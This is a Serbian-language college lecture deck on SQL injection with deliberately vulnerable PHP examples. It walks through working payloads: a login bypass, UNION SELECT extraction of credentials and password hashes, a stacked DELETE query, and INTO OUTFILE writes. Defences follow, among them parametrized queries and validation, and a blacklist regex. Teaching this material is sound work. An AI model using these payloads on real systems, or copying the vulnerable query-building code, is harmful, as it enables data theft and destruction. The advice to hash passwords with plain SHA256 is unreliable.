40
SQL injection Dr Nenad Kojić, dipl. inž. Školska 2017/18. Lazar Vučković, spec .stuk.inž. Visoka škola strukovnih studija za informacione i komunikacione tehnologije

SQL injection - webdizajn.ict.edu.rs · Kako SQL injection IXQNFLRQLãH" Pretpostavimo da imamo web aplikaciju za prodaju polovnih automobila i opciju za pretragu po ceni vozila

  • Upload
    others

  • View
    8

  • Download
    0

Embed Size (px)

Citation preview

Page 1: SQL injection - webdizajn.ict.edu.rs · Kako SQL injection IXQNFLRQLãH" Pretpostavimo da imamo web aplikaciju za prodaju polovnih automobila i opciju za pretragu po ceni vozila

SQL injection

Dr Nenad Kojić, dipl. inž. Školska 2017/18. Lazar Vučković, spec .stuk.inž.

Visoka škola strukovnih studija za informacione

i komunikacione tehnologije

Page 2: SQL injection - webdizajn.ict.edu.rs · Kako SQL injection IXQNFLRQLãH" Pretpostavimo da imamo web aplikaciju za prodaju polovnih automobila i opciju za pretragu po ceni vozila
Page 3: SQL injection - webdizajn.ict.edu.rs · Kako SQL injection IXQNFLRQLãH" Pretpostavimo da imamo web aplikaciju za prodaju polovnih automobila i opciju za pretragu po ceni vozila

Šta je SQL injection?

SQL injection predstavlja vrstu napada na bazu podataka neke aplikacije.

Ukoliko smo napravili aplikaciju koja komunicira sa bazom podataka koristeći parametre koji nisu predefinisani, nego se dobijaju od strane korisnika, mora se obratiti pažnja na ispravnost podataka koji su prosleđeni bazi podataka.

To znači da se ne možemo osloniti na to da će svaki korisnik koristiti aplikaciju baš onako kako je predviđeno, nego da postoje i maliciozni korisnici, čiji je cilj da iskoriste ranjivost aplikacije, kako bi se ilegalno domogli nekih zaštićenih podataka, kako bi izbrisali određene podatke iz baze podataka ili u nju uneli nešto neočekivano od strane aplikacije.

Dakle, SQL injection predstavlja formiranje SQL upita koji omogućavaju čitanje, upisivanje, izmenu ili brisanje podataka iz baze, koristeći sigurnosne propuste aplikacije, tj. SQL upite koje aplikacija dinamički formira.

Page 4: SQL injection - webdizajn.ict.edu.rs · Kako SQL injection IXQNFLRQLãH" Pretpostavimo da imamo web aplikaciju za prodaju polovnih automobila i opciju za pretragu po ceni vozila

Kako SQL injection funkcioniše?

Pretpostavimo da imamo web aplikaciju za prodaju polovnih automobila i opciju za pretragu po ceni vozila. Kako bi korisniku omogućili da nađe vozila koja može da priušti, napravili smo pretragu gde se izlistavaju svi automobili koji su jeftiniji od određene cene. SQL upit koji bi nam kao rezultat vratio sva vozila koja ispunjavaju uslov bi izgledao ovako:

SELECT * FROM vozila WHERE cena < 12000;

Pošto ne možemo fiksirati cenu od 12 000€, moramo dozvoliti

korisniku da unese taj podatak. Formiranje SQL upita u PHP-u bi izgledalo ovako:

$upit = "SELECT * FROM vozila WHERE cena < " . $_GET['cena'];

Page 5: SQL injection - webdizajn.ict.edu.rs · Kako SQL injection IXQNFLRQLãH" Pretpostavimo da imamo web aplikaciju za prodaju polovnih automobila i opciju za pretragu po ceni vozila

Kako SQL injection funkcioniše?

$_GET['cena'] predstavlja parametar koji se prosleđuje preko web stranice. Običan korisnik bi kao cenu uneo validan broj i aplikacija bi se izvršila

regularno, a rezultat bi bio izlistavanje svih vozila jeftinijih od unetog broja. Međutim, maliciozni korisnik bi pokušao da unese neki podatak koji nije

očekivan od strane aplikacije i time naruši sigurnost izvršavalja iste. Jednostavnim unosom sledećeg teksta: 10000 OR 1=1, formira se validan

SQL upit

SELECT * FROM vozila WHERE cena < 10000 OR 1=1;

ali će se kao rezultat pojaviti sva vozila iz baze, jer taj upit uvek vraća

TRUE vrednost.

Ovo je samo prost primer funkcionisanja SQL injection-a, kako bi se stvorila slika o tome da nije uvek sve onako kako očekujemo prilikom kodiranja aplikacija.

Page 6: SQL injection - webdizajn.ict.edu.rs · Kako SQL injection IXQNFLRQLãH" Pretpostavimo da imamo web aplikaciju za prodaju polovnih automobila i opciju za pretragu po ceni vozila

Šta sada?

SQL injection je vrlo čest način napada na web aplikacije

Važno je da se osvesti njegovo postojanje i da se razume način napada sa ključnim ciljem da programer pokuša sve tehnike odbrane sa ciljem zaštite

Napadi SQL-om se tretiraju kao zlonamerni napad i samim tim su krivično delo i o tome treba voditi računa

Ne igrati se sa SQL napadima i ne pokušavati to na drugim sajtovima

Rezime SQL injection-a

Aplikacija koja komunicira sa bazom podataka nije napravljena

dovoljno bezbedno, pa je omogućeno malicioznom korisniku da

prosledi neke parametre aplikaciji, koji se dalje prosleđuju bazi

podataka, a da rezultat toga bude potpuno neočekivan od strane

osobe koja je razvila aplikaciju.

Page 7: SQL injection - webdizajn.ict.edu.rs · Kako SQL injection IXQNFLRQLãH" Pretpostavimo da imamo web aplikaciju za prodaju polovnih automobila i opciju za pretragu po ceni vozila

Napadi - opis

Prilikom slanja podataka putem forme nekada možemo jednostavno uneti naš SQL kod u neko od polja forme i tako ga proslediti, ali u dosta slučajeva je napravljena provera na korisničkoj strani.

Većina ljudi koji razvijaju aplikacije, a nisu upućeni u bezbednost istih, obavljaju dosta provera na korisničkoj strani, misleći da je to dovoljna zaštita, ali to nikako nije dovoljno.

Ukoliko neko vrši provere samo na klijentskoj strani, dovoljno je samo instalirati aplikaciju za proxy i njome menjati podatke koji se prosleđuju, ili pak neku od ekstenzija za Internet browser koja će to isti učiniti.

Ovo se odnosi i na GET i na POST metode.

Page 8: SQL injection - webdizajn.ict.edu.rs · Kako SQL injection IXQNFLRQLãH" Pretpostavimo da imamo web aplikaciju za prodaju polovnih automobila i opciju za pretragu po ceni vozila

Napadi - opis

Jedan od najčešće korišćenih načina za menjanje podataka koji se šalju bazi podataka je izmena parametara u URL-u.

http://www.primer.com/proizvodi.php?kategorija=1&?proizvod=14

Kada vidite ovakav link, prilično lako je uočiti parametre koji se prosleđuju, a to su u ovom primeru kategorija i proizvod.

Dovoljno je samo izmeniti vrednosti ovih parametara i pratiti šta se dešava.

Ukoliko dobijemo bilo kakvu grešku generisanu od strane baze podataka, postoji velika verovatnoća da je to polje ranjivo na SQL injection.

Jedan od problema prilikom korišćenja ovog tipa napada je to što se uglavnom radi "na slepo".

To znači da, kada pokušavamo da izvršimo SQL injection, mi ne znamo kako je u kodu realizovano sastavljanje upita, tako da se sve svodi na dosta pogađanja.

Page 9: SQL injection - webdizajn.ict.edu.rs · Kako SQL injection IXQNFLRQLãH" Pretpostavimo da imamo web aplikaciju za prodaju polovnih automobila i opciju za pretragu po ceni vozila

VAŽNO!!! SQL injection je vrsta zlonamernog napada i nikada ga ne treba realizovati,

jer je to kažnjivo

Nikada ne probati ove napade na realnim sajtovima

Ovaj materijal je u edukativne svrhe da bi se razumeo oblik napada sa ciljem da se nauči nakin kako da se od njega zaštitimo i nikako se ne može i ne sme koristiti u druge svrhe zbog osetljivosti materije koja se obrađuje

Svaki napad je krivično delo i nikada se ne sme realizovati!

Page 10: SQL injection - webdizajn.ict.edu.rs · Kako SQL injection IXQNFLRQLãH" Pretpostavimo da imamo web aplikaciju za prodaju polovnih automobila i opciju za pretragu po ceni vozila

Login napad

Napadi kroz primere

Page 11: SQL injection - webdizajn.ict.edu.rs · Kako SQL injection IXQNFLRQLãH" Pretpostavimo da imamo web aplikaciju za prodaju polovnih automobila i opciju za pretragu po ceni vozila

Napadi – primer 1 Neka je data forma za logovanje

Za prikazanu formu traži se unos korektnih podataka, kako bi se pristupilo

nekom resursu za koji su potrebne

određene privilegije. U ovom slučaju, potrebno je da imate korisničko ime i lozinku u sistemu.

Page 12: SQL injection - webdizajn.ict.edu.rs · Kako SQL injection IXQNFLRQLãH" Pretpostavimo da imamo web aplikaciju za prodaju polovnih automobila i opciju za pretragu po ceni vozila

<?php

//ucitavanje neophodnih podataka za komunikaciju sa bazom

include('connect.php');

//formiranje upita za vracanje informacija o korisniku

$upit = "SELECT * FROM korisnici WHERE korisnicko_ime = '" . $_POST['korisnicko_ime'] . "' AND lozinka = '" . $_POST['lozinka'] . "'";

//izvrsavanje upita

$rezultat = mysql_query($upit);

//$broj_redova oznacava broj redova vracenih od strane baze podataka za upit koji smo

// izvrsili ukoliko je upit uspesno izvrsen, rezultat nece biti 0

$broj_redova = mysql_num_rows($rezultat);

//provera uspesnosti

if ($broj_redova != 0){ echo 'Uspesno ste logovani!';}

else { echo 'Niste uneli ispravnu kombinaciju!';}

?>

Napadi – primer 1

Page 13: SQL injection - webdizajn.ict.edu.rs · Kako SQL injection IXQNFLRQLãH" Pretpostavimo da imamo web aplikaciju za prodaju polovnih automobila i opciju za pretragu po ceni vozila

Nakon unosa podataka u formu, dobijamo sledeći upit za bazu podataka SELECT * FROM korisnici WHERE korisnicko_ime = 'uneto ime' AND lozinka = 'uneta lozinka’ Napad Problem kod ove skripte za login je to što se podaci uopšte ne proveravaju pre prosleđivanja bazi podataka i korisnik može bez problema da unese dodatni SQL kod, kako bi postigao željeni rezultat - tj. da se uloguje na sistem bez korektne kombinacije korisničkog imena i lozinke. Kako se to postiže? Jednostavnim prekidom SQL upita karakterom ' (apostrofom) i

dodavanjem validnog SQL koda kako bi se upit izvršio bez problema. Kod ovog slučaja ne moramo ništa upisati u prvo polje, a možemo i upisati bilo koji tekst,

a u polje za lozinku ćemo napisati ' OR '1'='1 i time potpuno premostiti login sistem. Verovatno se pitate zbog čega smo uneli baš taj tekst, a objašnjenje je sledeće - Prilikom

unosa ' OR '1'='1 u polje za lozinku, formirao se sledeći upit SELECT * FROM korisnici WHERE korisnicko_ime = 'uneto ime' AND lozinka = '' OR '1'='1'

Napadi – primer 1

Page 14: SQL injection - webdizajn.ict.edu.rs · Kako SQL injection IXQNFLRQLãH" Pretpostavimo da imamo web aplikaciju za prodaju polovnih automobila i opciju za pretragu po ceni vozila

Što u prevodu znači sledeće: kao rezultat upita, vrati mi sve korisnike čije je korisničko ime ime koje je uneto i čija je šifra prazan string ili '1'='1', što označava uvek tačan iskaz, tj. iskaz koji uvek vraća TRUE vrednost.

Nakon što se upit izvrši, rezultat koji smo dobili će biti validan i uspešno ćemo preskočiti sistem za logovanje.

U realnim web serverima je često uključena opcija magic_quotes opcija u podešavanjima PHP-a. Da bi maliciozni korisnici ovo zaobišli, dovoljno je da instaliraju Tamper Data dodatak za Firefox ili neki sličan. Aktivacijom ovog dodatka, a pre slanja podataka koji su opisani, pojaviće se prozorčić sa pitanjem da li želite da izmenite podatke koje šaljete. Time se najčešće postiže željeni efekat a koji četo promakne developerima ili testerima aplikacija prilikom provere sigurnosti aplikacije.

Dodatno, maliciozni korisnici koriste i prosleđivanje podataka u HEX formatu, koje dodatno omogućava da se ovaj tip napada realizuje

Napadi – primer 1

Page 15: SQL injection - webdizajn.ict.edu.rs · Kako SQL injection IXQNFLRQLãH" Pretpostavimo da imamo web aplikaciju za prodaju polovnih automobila i opciju za pretragu po ceni vozila

Pretraga-filtriranje napad

Napadi kroz primere

Page 16: SQL injection - webdizajn.ict.edu.rs · Kako SQL injection IXQNFLRQLãH" Pretpostavimo da imamo web aplikaciju za prodaju polovnih automobila i opciju za pretragu po ceni vozila

Napadi – primer 2 Neka je data forma za filtriranje

Unosom određene godine dobijamo željene podatke o knjigama koje su izdate

posle godine koja je uneta.

Page 17: SQL injection - webdizajn.ict.edu.rs · Kako SQL injection IXQNFLRQLãH" Pretpostavimo da imamo web aplikaciju za prodaju polovnih automobila i opciju za pretragu po ceni vozila

-- html kod --

<?php

//provera da li je uneta godina izdanja. Ukoliko je uneta, taj broj se prosledjuje funkciji za ucitavanje

if($_POST['godina'] != null) { UcitajKnjige($godina); }

else { UcitajKnjige(0); }

function UcitajKnjige($godina) {

include('connect.php');

$upit = "SELECT * FROM sql_injection.knjige WHERE godina_izdanja > $godina";

$rezultat = mysql_query($upit);

while($red = mysql_fetch_array($rezultat)) {

echo "<tr><td>" . $red['id'] . "</td> <td>" . $red['naziv'] . "</td> <td>" . $red['autor'] . "</td> <td>" . $red['godina_izdanja’] . "</td></tr>\n"; }

}

?>

-- html kod --

Page 18: SQL injection - webdizajn.ict.edu.rs · Kako SQL injection IXQNFLRQLãH" Pretpostavimo da imamo web aplikaciju za prodaju polovnih automobila i opciju za pretragu po ceni vozila

Napad Na ovom primeru će se objasniti jedna od najčešće korišćenih mogućnosti SQL

injection-a - UNION SELECT. UNION SELECT predstavlja mogućnost SQL jezika da podatke koje smo već

dobili preko nekog upita sastavimo sa podacima iz novog upita. Preduslov da UNION SELECT funkcioniše je to da drugi upit mora imati isti broj

kolona kao i prvi, a tipovi podataka drugog upita moraju se poklapati sa tipovima podataka prvog.

Eksploatisanjem ove mogućnosti, maliciozni korisnik može da izvlači mnogo podataka koji su običnom korisniku inače nedostupni.

Kako UNION SELECT eksploatacija funkcioniše? Nakon pronalaska ranjive stranice, određuje se broj kolona koji vraća upit, zatim

se određuju tipovi podataka kolona, a nakon toga sledi izvlačenje skrivenih podataka iz baze.

Pronalazak broja kolona je veoma jednostavan. Dovoljno je samo nakon unete ispravne vrednosti na ranjiv parametar (u ovom slučaju to je "godina") napisati sledeće:

1999 UNION SELECT 1

"1999" predstavlja godinu za koju želimo podatke, a "UNION SELECT 1" pokušaj pronalaska broja kolona. Ukoliko rezultuje greškom, znači da broj kolona nije 1.

Page 19: SQL injection - webdizajn.ict.edu.rs · Kako SQL injection IXQNFLRQLãH" Pretpostavimo da imamo web aplikaciju za prodaju polovnih automobila i opciju za pretragu po ceni vozila

1999 UNION SELECT 1, 2

Ukoliko i ovo rezultuje greškom, znači da broj kolona nije ni 2. Ovo ponavljamo sve do trenutka kada se ne pojavi greška. U ovom primeru, greška se nije pojavila kada je uneto:

1999 UNION SELECT 1, 2, 3, 4

Što znači da je broj kolona koje vraća upit 4.

Unosom ovog upita, u tabeli su se pojavili brojevi 1, 2, 3, 4 na mestima gde bi trebalo da se nalaze ID, Naziv knjige, Autor i Godina izdanja. Pošto se tekstualni podaci u tabeli nalaze na 2. i 3. mestu, to znači da ćemo ta dva polja da iskoristimo za izvlačenje skrivenih podataka.

Page 20: SQL injection - webdizajn.ict.edu.rs · Kako SQL injection IXQNFLRQLãH" Pretpostavimo da imamo web aplikaciju za prodaju polovnih automobila i opciju za pretragu po ceni vozila

Sada, kada znamo broj kolona, možemo početi sa izvlačenjem podataka koji nas interesuju. Unosom sledeće komande:

1999 UNION SELECT null, database(), current_user(), null

učitaćemo ime baze i trenutnog korisnika.

Ukoliko testirate na Internetu, velika je verovatnoća da user neće biti root, tako da će vam privilegije biti ograničene na određenu bazu, ali, ako se desi da je neko bio toliko nepažljiv da ne napravi novog korisnika za potrebe aplikacije, već ostavi root nalog, postoji velika bezbednosna rupa.

Za dalje primere, trebalo bi testirati na localhost serveru sa root nalogom, kako biste videli bezbednosne nedostatke.

Sledeća komanda će učitati sve nazive tabela i kolona, izuzev podrazumevanih, koje se nalaze u mysql i information_schema bazama.

2500 UNION SELECT null, table_name, column_name, null FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema'

Page 21: SQL injection - webdizajn.ict.edu.rs · Kako SQL injection IXQNFLRQLãH" Pretpostavimo da imamo web aplikaciju za prodaju polovnih automobila i opciju za pretragu po ceni vozila

Nakon što smo izvršili ovu komandu, dobili smo podatke da se u bazi nalazi tabela korisnici, sa kolonama korisnicko_ime, lozinka, privilegije.

Sami nazivi govore dovoljno... Sledeće što ćemo ukucati je:

2500 UNION SELECT null, korisnicko_ime, lozinka, privilegije FROM korisnici

Time smo dobili podatke svih korisnika, koje sada bez problema možemo koristiti za logovanje.

Na ovaj način maliciozni korisnici mogu doći do veoma važnih podataka i iskoristiti ih kako bi vam naneli štetu. Ukoliko takav korisnik dođe u posed login podataka administratora, na Vašoj aplikaciji ima potpunu kontrolu.

Ovo je rad na localhost serveru, sa privilegijama root korisnika. U realnosti koristi se blind SQL injection, tj. slepi SQL injection. Kao što sama reč kaže, maliciozni korisnik ne zna nazive tabela i kolona, pa

mora da nagađa. Za tabele koje čuvaju podatke o korisnicima se najčešće koriste sledeći nazivi: user, users, member, members....korisnik, korisnici.

Možete primetiti da se tabelama daju veoma logični nazivi, tako da je za

izvlačenje podataka ovim vidom napada potrebna ili upornost ili automatizacija, tj. izrada neke skripte ili aplikacije koja pokušava napade.

Praćenjem grešaka koje prijavljuje baza podataka, može se primetiti da li je pogođen naziv ili ne. Nakon uspešno pronađene tabele, ponavlja se postupak za nazive kolona...

Page 22: SQL injection - webdizajn.ict.edu.rs · Kako SQL injection IXQNFLRQLãH" Pretpostavimo da imamo web aplikaciju za prodaju polovnih automobila i opciju za pretragu po ceni vozila

Uzastopni upiti - napad

Napadi kroz primere

Page 23: SQL injection - webdizajn.ict.edu.rs · Kako SQL injection IXQNFLRQLãH" Pretpostavimo da imamo web aplikaciju za prodaju polovnih automobila i opciju za pretragu po ceni vozila

Napadi – primer 3 Uzastopni upiti

Uzastopni upiti komande podrazumevaju izvršenje 2 ili više komandi, jedne za drugom, pri čemu se kraj jednog upita označava znakom ;.

Od verzije 5, MySql podržava ovakvo izvršavanje upita, tako da to predstavlja veliku sigurnosnu rupu, ako se ne osiguramo od SQL injection napada.

Kako napad funkcioniše?

Kada maliciozni korisnik otkrije da je vaša aplikacija ranjiva na SQL injection i da su podržani uzastopni upiti, dovoljno je samo da prekine vaš dinamički upit znakom ; i da napiše bilo kakav SQL upit nakon toga.

Vratimo se na primer pregleda knjiga... Da su omogućeni uzastopni upiti, maliciozni korisnik bi mogao da napiše sledeće u polje za godine:

1995; DELETE FROM korisnici

Nakon unosa ovog teksta, u tabelu za izlistavanje knjiga bi se učitale sve knjige koje su izdate nakon 1995. godine, a iz tabele korisnici bi se izbrisali svi podaci.

Page 24: SQL injection - webdizajn.ict.edu.rs · Kako SQL injection IXQNFLRQLãH" Pretpostavimo da imamo web aplikaciju za prodaju polovnih automobila i opciju za pretragu po ceni vozila

Izlistavanje naziva tabela i kolona

Napadi kroz primere

Page 25: SQL injection - webdizajn.ict.edu.rs · Kako SQL injection IXQNFLRQLãH" Pretpostavimo da imamo web aplikaciju za prodaju polovnih automobila i opciju za pretragu po ceni vozila

Ukoliko je vaša aplikacija ranjiva, napadač može izlistati sve potrebne nazive baza, tabela i kolona, kako bi došao do podataka koji su mu interesantni.

Prva stvar koja obično zanima napadača je korisničko ime, koje se može izvući na jedan od sledećih načina:

SELECT user();

SELECT current_user;

Da biste izlistali baze koje se nalaze na udaljenoj MySql instalaciji, a imate privilegije (root korisnik), potrebno je učiniti sledeće:

SELECT distinct(db) FROM mysql.db;

Ukoliko nemate administratorska prava, a MySql je verzije 5 ili preko, možete učiniti isto koristeći sledeći upit:

SELECT schema_name FROM information_schema.schemata;

Page 26: SQL injection - webdizajn.ict.edu.rs · Kako SQL injection IXQNFLRQLãH" Pretpostavimo da imamo web aplikaciju za prodaju polovnih automobila i opciju za pretragu po ceni vozila

Taj upit je izlistao sve baze koje se nalaze na toj instalaciji MySql-a i nakon pronalaska konkretne (na primer "korisnici"), dovoljno je napisati sledeću komandu za izlistavanje naziva tabela te baze:

SELECT table_schema, table_name FROM information_schema.tables WHERE table_schema = 'korisnici'

Kako bi se izvukli i nazivi kolona date tabele, potrebno je uraditi sledeće:

SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema = 'korisnici'

Mogućnosti su neograničene, sve zavisi šta je oblast interesovanja.

Page 27: SQL injection - webdizajn.ict.edu.rs · Kako SQL injection IXQNFLRQLãH" Pretpostavimo da imamo web aplikaciju za prodaju polovnih automobila i opciju za pretragu po ceni vozila

Hash vrednosti MySql šifara

Napadi kroz primere

Page 28: SQL injection - webdizajn.ict.edu.rs · Kako SQL injection IXQNFLRQLãH" Pretpostavimo da imamo web aplikaciju za prodaju polovnih automobila i opciju za pretragu po ceni vozila

MySql čuva hash vrednosti šifara u mysql.user tabeli. Upit kojim se mogu izvući ti podaci je:

SELECT user, password FROM mysql.user;

Pre verzije 4.1, MySql je generisao jednostavnu hash vrednosti od 16 karaktera, a od te verzije generišu se hash vrednosti od 41 karakter, koje su daleko sigurnije.

Nakon izvlačenja hash vrednosti, šifra se dobija brute-force napadom, najčešće korišćenjem nekih od sledećih programa: John the Ripper ili Cain & Able.

Page 29: SQL injection - webdizajn.ict.edu.rs · Kako SQL injection IXQNFLRQLãH" Pretpostavimo da imamo web aplikaciju za prodaju polovnih automobila i opciju za pretragu po ceni vozila

Ispis rezultata upita u fajl

Napadi kroz primere

Page 30: SQL injection - webdizajn.ict.edu.rs · Kako SQL injection IXQNFLRQLãH" Pretpostavimo da imamo web aplikaciju za prodaju polovnih automobila i opciju za pretragu po ceni vozila

MySql može da sačuva fajl sa rezultatima SELECT komande dodavanjem INTO OUTFILE na kraj upita.

Fajl se po default-u čuva u direktorijumu baze, ali se može navesti druga putanja, ukoliko MySql ima privilegije za pisanje u taj direktorijum.

Da bi ovo bilo moguće izvesti, korisnik mora imati FILE privilegije.

Da biste saznali da li korisnik ima te privilegije, potrebno je koristiti jedan od sledećih upita:

SELECT file_priv FROM mysql.user WHERE user = 'username' --- MySQL 4/5

SELECT grantee,is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'file' AND grantee = 'username'

Pretpostavljajući da vaš korisnik ima potrebne privilegije i da se root direktorijum sajta nalazi na putanji /webroot/, mogli biste napisati sledeće:

SELECT table_name FROM information_schema.tables INTO OUTFILE '/webroot/tables.txt';

Page 31: SQL injection - webdizajn.ict.edu.rs · Kako SQL injection IXQNFLRQLãH" Pretpostavimo da imamo web aplikaciju za prodaju polovnih automobila i opciju za pretragu po ceni vozila

Parametrizovani SQL upiti

Odbrana od napada

Page 32: SQL injection - webdizajn.ict.edu.rs · Kako SQL injection IXQNFLRQLãH" Pretpostavimo da imamo web aplikaciju za prodaju polovnih automobila i opciju za pretragu po ceni vozila

Jedan od glavnih uzroka ranjivosti na SQL injection je dinamičko pravljenje SQL upita unutar koda.

Većina modernih programskih jezika pruža alternativni način pravljenja SQL upita korišćenjem parametrizovanih upita.

Ovaj način je mnogo sigurniji i često u potpunosti uklanja mnoge probleme sa SQL injeciton-om i uglavnom se stalno može koristiti kao zamena dinamičkih upita.

Takođe, pripremljeni ili parametrizovani upiti se mnogo brže izvršavaju na novijim bazama i tako dobijamo znatno efikasniju komunikaciju.

PHP ima dovoljan broj framework-a koje možete koristiti za pristup bazi podataka. Tri najčešće korišćena su: mysqli, PEAR::MDB2 i PHP Data Objects (PDO) i svaki ima mogućnost parametrizacije upita.

Parametrizovani SQL upiti

Page 33: SQL injection - webdizajn.ict.edu.rs · Kako SQL injection IXQNFLRQLãH" Pretpostavimo da imamo web aplikaciju za prodaju polovnih automobila i opciju za pretragu po ceni vozila

Primer za mysqli

Paket mysqli, dostupan sa PHP verzijom 5.x i omogućen za komunikaciju sa MySQL 4.1 i novijim, je jedan od najčešće korišćenih interfejsa za bazu podataka i omogućava parametrizovane upite upotrebom znaka pitanja za ostavljanje mesta za dinamičku vrednost.

$con = new mysqli("localhost", "username", "password", "db");

$sql = "SELECT * FROM users WHERE username=? AND password=?";

$cmd = $con->prepare($sql);

//Add parameters to SQL query

$cmd->bind_param("ss", $username, $password); //bind parameters as strings

$cmd->execute();

Parametrizovani SQL upiti

Page 34: SQL injection - webdizajn.ict.edu.rs · Kako SQL injection IXQNFLRQLãH" Pretpostavimo da imamo web aplikaciju za prodaju polovnih automobila i opciju za pretragu po ceni vozila

Validacija podataka

Odbrana od napada

Page 35: SQL injection - webdizajn.ict.edu.rs · Kako SQL injection IXQNFLRQLãH" Pretpostavimo da imamo web aplikaciju za prodaju polovnih automobila i opciju za pretragu po ceni vozila

U prethodnoj celini je bilo reči o parametrizovanim upitima i njihovom uticaju na smanjenje ranjivosti na SQL injection, ali nije samo to dovoljno kako bismo bili sigurni da ranjivosti neće biti.

Jedna od najmoćnijih kontrola koju možete koristiti je validacija unetih podataka.

Validacija unetih podataka podrazumeva proces proveravanja podataka koji su prosleđeni aplikaciji u odnosu na predefinisane šablone unutar aplikacije.

Postoje dva različita tipa validacije: whitelisting i blacklisting.

Validacija podataka

Page 36: SQL injection - webdizajn.ict.edu.rs · Kako SQL injection IXQNFLRQLãH" Pretpostavimo da imamo web aplikaciju za prodaju polovnih automobila i opciju za pretragu po ceni vozila

Whitelisting

Ovaj tip validacije podrazumeva prihvatanje samo onih podataka za koje se zna da su ispravni.

Po prosleđivanju podataka na proveru, gleda se da li je prosleđeni podatak onog tipa koji se očekuje, da li je određene dužine, veličine, da li je u određenom numeričkom opsegu ili se upoređuje u odnosu na neke druge predefinisane formate podataka.

Na primer, ukoliko želimo da proverimo da li je korisnik uneo ispravan JMBG, moramo obratiti pažnju na to da li je prosleđeni podatak dužine 13 karaktera i da je svaki od karaktera zapravo broj.

Ukoliko nam je potreban određeni format za unete podatke, to se rešava preko regularnih izraza (regular expressions).

U suštini, whitelisting je bolja solucija za validaciju podataka, mada ju je teško primeniti u nekim slučajevima, kada nije lako odrediti kompletan spisak dozvoljenog unosa ili u slučaju kada su uneti podaci vrlo kompleksni.

Preporučljivo je koristiti ovaj tip validacije gde god je to moguće, uz korišćenje drugih kontrola, poput kodiranja izlaznih podataka.

Page 37: SQL injection - webdizajn.ict.edu.rs · Kako SQL injection IXQNFLRQLãH" Pretpostavimo da imamo web aplikaciju za prodaju polovnih automobila i opciju za pretragu po ceni vozila

Blacklisting Ovaj tip validacije podrazumeva odbijanje onih podataka za koje znamo da nisu ispravni. Ovo podrazumeva odbacivanje unetih podataka koji sadrže karaktere za koje sa sigurnošću

znamo da su maliciozni gledajući kroz listu poznatih "loših karaktera", stringova ili šablona. Ovaj pristup je generalno slabiji od whitelisting-a, jer je lista potencijalnih neželjenih stvari mnogo

velika, spora za pregled, nepotpuna i teška za održavanje. Ovaj vid validacije se često koristi sa regularnim izrazima sa karakterima i stringovima koje ne

treba dozvoliti, kao što možete videti na sledećem primeru:

'|%|--|;|/\*|\\\*|_|\[|@|xp_ U PHP-u možete koristiti mnoge funkcije za validaciju unetih podataka, uključujući sledeće:

preg_match(regularni izraz, string za proveru) - proverava da li uneti string odgovara navedenom

formatu iz regularnog izraza is_<tip>(uneti podatak) - proverava da li je uneti podatak tipa <tip>; na primer, is_numeric(). strlen(uneti string) - proverava dužinu unetog stringa. Primer korišćenja preg_match funkcije za validaciju polja forme bi mogao biti sledeći:

$username = $_POST['username']; if (!preg_match("/^[a-zA-Z]{8,12}$/D", $username) { // ovde ide kod koji se odnosi na loše unete podatke }

Page 38: SQL injection - webdizajn.ict.edu.rs · Kako SQL injection IXQNFLRQLãH" Pretpostavimo da imamo web aplikaciju za prodaju polovnih automobila i opciju za pretragu po ceni vozila

Kodiranje podataka

Kao dodatak validaciji unetih podataka, često je neophodno da se kodira ono što se prosleđuje između različitih modula ili delova aplikacije.

Čak i ako koristimo whitelist validaciju unosnih podataka, postoje slučajevi kada je ' (apostrof) validan karakter za unos, a to može napraviti probleme pri komunikaciji sa bazom.

U tim slučajevima se koriste funkcije za zamenu potencijalno opasnih karaktera.

Apostrof treba zameniti sa dva apostrofa - '' ili sa \’. PHP pruža funkciju mysql_real_escape_string($string) koja menja opasne

karaktere sa bezopasnim, kao što je navedeno.

Recimo da imamo sajt sa statistikom NBA igrača i da želimo da unesemo podatke Shaquille O'Neal-a. To može izazvati problem, jer se u njegovom prezimenu nalazi karakter ' koji je potpuno validan. Ova funkcija će njegovo prezime zameniti u O\'Neal i to neće praviti nikakav problem pri komunikaciji sa bazom.

Stvar na koju treba obratiti pažnju je dekodiranje vraćenih podataka, jer korisniku sajta ne želimo da prikažemu prezime sa \ karakterom.

Page 39: SQL injection - webdizajn.ict.edu.rs · Kako SQL injection IXQNFLRQLãH" Pretpostavimo da imamo web aplikaciju za prodaju polovnih automobila i opciju za pretragu po ceni vozila

Dobre prakse pri razvoju aplikacije

Za svaku konekciju sa bazom koristite korisnika sa što manjim nivoom pristupa koji je dovoljan da se izvrši upit - tj. ukoliko morate samo nešto da pročitate iz baze, dozvolite samo READ privilegije tom korisniku.

Kada god je to moguće, koristite parametrizovane SQL upite ili stored procedure.

Onemogućite prikazivanje grešaka putem baze podataka, jer to malicioznom korisniku dosta govori.

Ne koristite očigledne nazive za imena tabela i kolona, kako biste što više otežali upad slepim SQL injection-om.

Nikada nemojte čuvati šifre u bazi, već njihove hash-ovane vrednosti, koristeći hash algoritam sa dobrom enkripcijom (poput SHA256).

Page 40: SQL injection - webdizajn.ict.edu.rs · Kako SQL injection IXQNFLRQLãH" Pretpostavimo da imamo web aplikaciju za prodaju polovnih automobila i opciju za pretragu po ceni vozila

SQL injection

Dr Nenad Kojić, dipl. inž. Školska 2017/18. Lazar Vučković, spec .stuk.inž.

Visoka škola strukovnih studija za informacione

i komunikacione tehnologije